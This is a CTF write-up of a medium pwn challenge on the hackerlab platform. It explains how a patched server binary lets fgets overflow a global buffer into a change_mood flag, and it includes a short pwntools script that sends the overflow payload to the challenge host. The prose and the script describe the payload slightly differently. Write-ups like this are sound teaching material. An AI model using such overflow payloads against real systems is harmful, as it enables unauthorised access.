Странный PWN?
Странный PWN?
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-01-20 | Status: Solved Techniques: bof_global_overwrite, server_binary_diff
Summary
Task: Binary with menu options including "Get flag", fgets reads into global buffer near change_mood flag. Solution: Server binary was patched to allow larger fgets read, enabling buffer overflow to overwrite change_mood and pass the strncmp check.
Странный PWN? — Hackerlab
Description
"Да, вроде, он обычный..."
IP: 62.173.140.174:27300
Files: task.elf - ELF 64-bit LSB executable, x86-64, statically linked, not stripped
Analysis
Program Structure
The binary presents a menu with 4 options:
- Convert number to hex
- Convert number to octal
- Get flag
- Exit
The program terminates after processing one choice (no loop).
Key Global Variables
mood(0x4a80d0): "I don't want a flag :<" - default stringtrue_mood(0x4a80e8): "I want a flag" - target stringstr(0x4aa0c0): input buffer, 4080 bytes (0xff0)change_mood(0x4ab0b0): 1-byte flag, initialized to 0
get_flag Function Logic
c read-only • copy allowedchar* ptr = mood; // points to "I don't want a flag :<" fgets(str, 0xfa0, stdin); // reads up to 4000 bytes if (change_mood == 1) { ptr = true_mood; // change pointer to "I want a flag" } if (strncmp(ptr, true_mood, 14) == 0) { puts(flag); // print the flag }
Memory Layout
- Buffer
strends exactly at the address ofchange_mood(str + 4080 = change_mood) - In the local binary, fgets reads only 4000 bytes (0xfa0), which is 80 bytes short of reaching
change_mood
The "Strange" Part
The task name "Странный PWN?" (Strange PWN?) hints that something is different. Testing on the server revealed that the binary was patched — the size parameter in fgets was changed from 0xfa0 (4000) to a larger value, allowing the buffer overflow to reach change_mood.
Solution
Exploit
- Select option 3 (Get flag)
- Send a payload of 4082 bytes:
- "I want a flag" (14 bytes) - to pass the strncmp check
- Padding to 4080 bytes (buffer size)
\x01- value to set change_mood = 1\n- newline to terminate input
When change_mood becomes 1, the pointer ptr changes to true_mood, and the check strncmp(ptr, true_mood, 14) == 0 passes!
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * p = remote('62.173.140.174', 27300) p.recvuntil(b'Your choice: ') p.sendline(b'3') p.recvuntil(b'Answer: ') # Payload: padding to 4080 bytes + change_mood = 1 payload = b'A' * 4080 + b'\x01' p.sendline(payload) print(p.recvall(timeout=3).decode()) p.close()
Lessons
- Always test behavior on the remote server, not just local binary analysis
- Task names often contain hints about the nature of the challenge
- CTF tasks may have patched binaries on the server that differ from provided files
- Understanding memory layout is critical for buffer overflow exploitation